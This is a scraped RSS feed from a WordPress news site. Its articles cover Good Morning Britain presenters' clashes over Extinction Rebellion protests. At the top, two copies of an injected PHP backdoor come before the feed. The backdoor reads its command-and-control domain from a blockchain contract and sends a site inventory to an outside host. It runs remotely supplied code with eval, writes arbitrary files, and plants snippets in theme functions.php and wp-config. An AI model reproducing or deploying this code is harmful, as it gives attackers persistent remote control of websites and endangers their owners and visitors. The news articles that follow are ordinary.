// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Extinction – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 05 Dec 2019 10:45:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Extinction – Brief News https://briefnews.eu 32 32 Susanna Reid blasts Green Party over £37m Extinction Rebellion protest ‘politics of fear!’ https://briefnews.eu/susanna-reid-blasts-green-party-over-37m-extinction-rebellion-protest-politics-of-fear/ https://briefnews.eu/susanna-reid-blasts-green-party-over-37m-extinction-rebellion-protest-politics-of-fear/#respond Thu, 05 Dec 2019 10:45:21 +0000 http://briefnews.eu/susanna-reid-blasts-green-party-over-37m-extinction-rebellion-protest-politics-of-fear/

“What Extinction Rebellion, the school strikes, Greta Thunberg and David Attenborough have all done is push climate up the agenda in a way that we haven’t seen previously and that is to be welcomed,” the guest defended. 

“I might not agree with all the tactics [of Extinction Rebellion protests], but overall it’s a good thing.” 

Some viewers found the interview helpful ahead of next week’s General Election. 

One Twitter user said: “@GMB He’s doing a great job, even if Susanna is more attacking than interviewing. At least Ben is there to keep it on track! As someone still unsure how to vote, I found that interview helpful, thank you.” 

“Whether you agree with him or not, I thought he answered the questions clearly and honestly,” someone else wrote. 

Good Morning Britain airs weekday mornings at 6am on ITV. 

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]]> https://briefnews.eu/susanna-reid-blasts-green-party-over-37m-extinction-rebellion-protest-politics-of-fear/feed/ 0 Lorraine Kelly loses it over Extinction Rebellion chaos: ‘Somebody is going to get killed’ https://briefnews.eu/lorraine-kelly-loses-it-over-extinction-rebellion-chaos-somebody-is-going-to-get-killed/ https://briefnews.eu/lorraine-kelly-loses-it-over-extinction-rebellion-chaos-somebody-is-going-to-get-killed/#respond Thu, 17 Oct 2019 11:43:13 +0000 http://briefnews.eu/lorraine-kelly-loses-it-over-extinction-rebellion-chaos-somebody-is-going-to-get-killed/

Lorraine Kelly, 59, joined Good Morning Britain hosts Susanna Reid, 48, and Ben Shephard, 44, to inform them what was coming up on her chat show once the news programme had finished. However, following the breaking news there had been severe chaos on the Jubilee line and DLR this morning as Extinction Rebellion protesters took action against climate change, the ITV presenter couldn’t help but offer her view on the unfolding story.

Many commuters have faced disruption to their travel this morning, with four arrests made so far as police have had to intervene to deal with protestors taking to the roof of the tube carriages.

Susanna and Ben had to disrupt a debate about veganism to discuss the breaking news with their guests who were all in shock at the scenes from the protests.

The presenters also spoke with members of the public who had been affected, with scenes of protestors being forcibly removed to try and get the source of transport underway.

Following the discussion, the pair then spoke to Lorraine, who was in disbelief at what she had been watching and hearing.

READ MORE: Piers Morgan ‘worried’ for Prince Harry

The chat show host declared: “This is horrendous,” before adding: “I don’t recognise what’s happened to my country.

“What’s going on?” the presenter asked.

“Absolutely horrible. People just trying to get to their work for goodness sake on the train there which is electric anyway.

“I just don’t understand. It doesn’t make any sense to me,” Lorraine opined as spoke with her colleagues.

In light of this morning’s disruption, Susanna and Ben managed to speak with one of the protestors who didn’t take to the roof of the carriages, but was present at the tube stations affected.

The guest explained the action taking was trying to “highlight the ecological impact” of transport systems which are contributing to climate change.

They also expressed the disruption and backlash caused “wasn’t intended” to be taken in such a way and stated the protestors “apologised”.

Although they said they understood the frustrations of those who were trying to get to work, the guest also stated they “also knew the frustrations we’re going to be facing as a species,” if the government don’t take action.

In the midst of their earlier discussion, Susanna and Ben also spoke to Mahatir Pasha, one of the commuters who took the footage they’d been watching on the show.

The guest said: “Absolutely shocking scenes. I didn’t expect to see anything like this.”

Describing the moment passengers realised something was wrong, Mahatir said the tube driver made an short announcement before he was cut off as the protestors took over.

He explained how he and many others were then told to leave the station as the police arrived on the scene to deal with the disruption.

Good Morning Britain airs weekdays at 6am on ITV.

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]]> https://briefnews.eu/lorraine-kelly-loses-it-over-extinction-rebellion-chaos-somebody-is-going-to-get-killed/feed/ 0 Piers Morgan rages at Extinction Rebellion founder ‘Practice what you preach! https://briefnews.eu/piers-morgan-rages-at-extinction-rebellion-founder-practice-what-you-preach/ https://briefnews.eu/piers-morgan-rages-at-extinction-rebellion-founder-practice-what-you-preach/#respond Wed, 09 Oct 2019 21:18:58 +0000 http://briefnews.eu/piers-morgan-rages-at-extinction-rebellion-founder-practice-what-you-preach/

Good Morning Britain wasn’t on television screens for long this morning because of the Rugby World Cup coverage, but during the two hours it did air, presenter Piers Morgan caused a storm when he got into an extremely heated debate with the Extinction Rebellion founder over the climate change protests which are currently dominating the streets of London. 

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Members of Extinction Rebellion, an environmental pressure group with the aim of using civil disobedience to compel government action on climate change, were shown on a live video interview with two protestors who had been on the streets of the capital city since 6am this morning.

Piers and Susanna they were joined by Skeena Rathor, a Labour district councillor and member of Extinction Rebellion as well as former Metropolitan police Chief Mike Neville in the studio. 

Piers was keen to ascertain whether or not Skeena “practiced what she preached“ and if protestors should focus on reducing their own carbon footprint in order to make a bigger impact, instead of blocking streets, causing widespread disruption and taking up police resources. 

But it quickly became apparent to those watching at home how Skeena had made a u-turn in regards to her own opinion and Piers was quick to brand her a “hypocrite”. 

After showing the guests a series of videos and images of protestors dancing in the street, and queuing up to order food in McDonalds, Piers remarked: “I don’t hear any protests.”

READ MORE: ITV GMB viewers slam Piers Morgan interview with Jennifer Arcuri

Piers morgan gmb itv

Piers Morgan rages at Extinction Rebellion founder ‘Practice what you preach! (Image: ITV)

Skeena argued how there were over 600 arrests within the first two days of the event, despite claiming it to be a “mass peaceful non-violent protest”. 

“Why are you [protestors] wasting police resources? Why provoke the Metropolitan police who are already under so much pressure?” Susanna asked. 

“The government are not listening,” Skeena said. “The public need to be told the truth. We want to disrupt business as usual.”  

Piers then turned to Skeena and said: “How did you get here this morning?” 

“Your [GMB] car picked me up,” she commented and then he turned his attention to finding out whether she engaged in as many eco-friendly practices as she encouraged others to do. 

“Ok, in a car. Have you got a TV at home?” Piers continued and Skeena asked: “Can you tell me the point you’re trying to make Piers?”

GMB Piers morgan susanna reid

GMB: Piers got extremely frustrated (Image: ITV)

“Answer my question! Do you have a TV at home?” The presenter said, but Skeena diverted: “Again Piers we’re not talking about the real issue. I don’t think that’s relevant.” 

“With respect, answer my question, do you have a TV at home? Do your kids use iPads and computers? Yes or no? Can you answer these questions? Do you walk your kids to school?” Piers grilled. 

After strumbling over a few words, Skeena said: “It’s not relevant to the planet emergency.” 

“Do you see the problem with all this? You go on about ‘My kids can’t get out of bed because they’re all so terrified,’ I’m not surprised they’re terrified because your mum’s telling them everyday the planet’s about to end, and yet, I bet your own carbon footprint, for all the stuff I’ve just mentioned is terrible,” Piers added. 

“So why don’t you give up your computers, give up your television, give up your air conditioning, walk your kids to school, get a bike to the studio. Why don’t you practice what you preach!” The presenter raged. 

“It’s not about individual carbon footprint,” Skeena remarked. 

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“You bang on about it, but you do not practice what you preach! Hypocritical lies! Start with your own carbon footprint, but you do one thing and say another,” Piers hit back. 

But Skeena defended: “It’s about a system wide issue, the government telling the truth.” 

“Prince Harry said everyone’s footprint counts, is he wrong?” Piers introduced into the debate. 

When Skeena finally said no to his question, Piers exploded with confusion: “You just said it [personal carbon footprint] doesn’t count in terms of solving the issue? You literally just said the opposite!” 

Skeena tried to explain the u-turn she just made, but Piers was having none of it. “Try answering one serious question. 

“It’s my show, with Susanna and Charlotte. Can you please stop talking? You’re not answering a single question! Does your personal carbon footprint matter or not?” 

DON’T MISS… 

GMB piers morgan skeena Rathor

GMB: Piers got frustrated with Skeena (Image: ITV)

No matter how many times Piers raged at the guest with the same question, she refused to answer. 

“You won’t answer my question!” The journalist remarked. “Answer the question! You just said everyone’s footprint doesn’t count. Unbelievable. I’m really frustrated.” 

“When Prince Harry said every footprint counts -“ Piers referred back to his original point but was cut off when Skeena said: “Everything we do does matter!” 

“Total waste of time!” Piers hit back. “You are guzzling and burning up the atmosphere. Rank hypocrite, that’s why you won’t answer the question.” 

“How many times do I have to ask a simple question,” he added. 

After several attempts, Mike finally got to have a word and said: “Hundreds of police officers are sitting around waiting, they are sat in Central London unable to fight crime, investigate burglaries and knife crime.” 

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After the debate finished the breakfast show went to an advertisement break, and when it returned, Piers added: “I would respect you [Skeena] more if you just admitted it.” 

Those watching at home were divided over the behaviour shown by Piers and the intense grilling he gave the guest. 

Nevertheless, it sparked great conversation online. One tweet said: “@piersmorgan on fire this morning on @GMB! These protestors do need to practice what they preach! If every single persons ‘carbon footprint’ is important then DON’T do the things you are protesting about! #gmb.” 

A second remarked: “@piersmorgan ripping into #ExtinctionRebellion founder this morning and quite right so, such a hypocrite, causing chaos, wasting police rehouses yet her own carbon footprint is no different to anyone else’s #GMB #Hypocrite.”

“@piersmorgan go on Piers! About time someone grilled these hypocrites #GMB,” another added. 

GMB mike neville skeena rathor

GMB: Skeena Rathor and Mike Neville were today’s guests (Image: ITV)

Someone else said: “These eco worries worries believe that they can take a couple of weeks off work to disrupt ordinary people who need to go to work. Well done @piersmorgan challenging well #GMB.” 

While others were less convinced about Piers’ approach to interviewing. 

